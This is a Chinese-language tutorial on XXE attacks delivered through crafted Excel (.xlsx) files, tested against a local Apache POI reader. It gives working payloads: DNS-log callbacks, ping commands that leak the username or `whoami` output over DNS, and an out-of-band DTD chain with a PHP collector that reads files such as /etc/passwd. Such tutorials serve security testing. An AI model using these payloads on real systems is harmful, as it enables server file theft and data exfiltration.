Bootstrap

利用EXCEL进行XXE攻击

0X00 前言

CTF 选手都清楚我们像 word 文档格式改成 zip 格式后,再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的 XML 文件。实际上,与所有 post-Office 2007 文件格式一样,现代 Excel 文件实际上只是 XML 文档的 zip 文件。这称为 Office Open XML 格式或 OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析 XML。如果解析器未安全配置,则 XXE 几乎是不可避免的。

0X01 XXE 漏洞的工作原理

许多网站允许上传 / 导入文件,处理文件内部数据一般都会解析 XML,如 Word 文档、Excel 表格等。这些文件通常以 ZIP 格式存储,将多个 XML 文件和其他资源整合其中。一旦这些文件被上传,服务器通常会对其内容进行解析和处理。
然而,如果服务器在处理这些文件时未能正确配置 XML 解析器,就可能导致 XXE(XML 外部实体)漏洞。这种漏洞允许攻击者通过精心构造的 EXCEL 文件,利用解析器的特性来进行恶意操作。

XXE 漏洞的主要原理在于 XML 解析器对外部实体的处理。当攻击者上传包含外部实体引用的恶意 XML 文件时,如果解析器没有被适当地配置,它可能会试图解析这些外部实体,导致以下潜在风险:

  1. 文件泄露: 攻击者可以利用 XXE 漏洞访问服务器上的敏感文件。例如,通过构造一个包含对 /etc/passwd 文件的外部实体引用的 XML 文件,攻击者可能能够泄露系统中的用户信息。
  2. 远程代码执行: 在某些情况下,攻击者可以通过 XXE 漏洞实现远程代码执行,尤其是在 XML 解析器支持 DTD(文档类型定义)并允许外部实体执行的情况下。
  3. 拒绝服务攻击: 攻击者可以构造一个复杂的 XML 文件,消耗过多的系统资源,导致服务拒绝。

0X02 测试环境搭建

大多数应用程序似乎都将xl / workbook.xml放入其XML解析器中以获取工作表列表,然后分别读取每个工作表以获取单元格内容。
xls与xlsx格式不同,xls是特有的二进制格式,其核心结构是复合文档类型,而xlsx的核心结构是XML类型,采用基于XML的压缩方式。xls格式文件无法插入payload进行XXE攻击。
测试的时候,根据功能点,docx,xlsx都可以尝试。

暂时没有合适的站点测一下,我们可以本地先起一个简单的程序制造一个合适的xslx文件测试

1. 添加 Apache POI 依赖

pom.xml 中添加 Apache POI 相关依赖:

<!-- Apache POI 用于读取 Excel 文件 -->
<dependency>
<groupId>org.apache.poi</groupId>
<artifactId>poi-ooxml</artifactId>
<version>3.8</version>
</dependency>

2. 修改xslx

利用bandzip打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
实体的值:

<!DOCTYPE ANY [
    <!ENTITY % d SYSTEM "http://your-dnslog_address">
    %d;
]>

3. 测试代码(读取Excel文件)

运行时将路径改为自身excel文件路径即可开始运行

package com.itkim.tool;

import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;

import java.io.FileInputStream;

/**
 * @description: 读取Excel文件
 * @author: KimJun
 * @date: 19.10.5 23:27
 */
public class ExcelData {

    private XSSFSheet sheet;

    /**
     * 构造函数,初始化excel数据
     *
     * @param filePath  excel路径
     * @param sheetName sheet表名
     */
    ExcelData(String filePath, String sheetName) throws Exception {
        FileInputStream fileInputStream = null;
        fileInputStream = new FileInputStream(filePath);
        XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
        //获取sheet
        sheet = sheets.getSheet(sheetName);

    }

    //打印excel数据
    public void readExcelData() {
        //获取行数
        int rows = sheet.getPhysicalNumberOfRows();
        for (int i = 0; i < rows; i++) {
            //获取列数
            XSSFRow row = sheet.getRow(i);
            int columns = row.getPhysicalNumberOfCells();
            for (int j = 0; j < columns; j++) {
                String cell = row.getCell(j).toString();
                System.out.println(cell);
            }
        }
    }

    //测试方法
    public static void main(String[] args) throws Exception {
        ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
        sheet1.readExcelData();
    }
}

0x03 测试

1. dnslog测试数据带外

运行代码后会爆一堆错误,这个时候翻看发现有成功访问dnslog的记录,文件既成功制作,且站点存在漏洞

这个时候可以分系统测试是否能数据

windows

ping %USERNAME%.riz3cq.dnslog.cn

linux

ping `whoami`.lfryol.dnslog.cn

2. 外部引用实体dtd

下面的地址我们在实际中肯定都是放到我们的vps里的

利用bandzip打开xslx文件,找到Content_Types.xml文件,修改外部实体如下:
实体的值:

<!DOCTYPE ANY[
//如果目标有中文可用编码绕过
//<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd">
%remote;
%all;
]>

起一个web服务,路径下创建一个.dtd文件,内容为实际所需读取文件如

windows:

"C:\Windows\system.ini"

linux

"/etc/passwd"

dtd内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

再写一个get.php 用于读取文件后写入

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

成功读取到文件并写入

;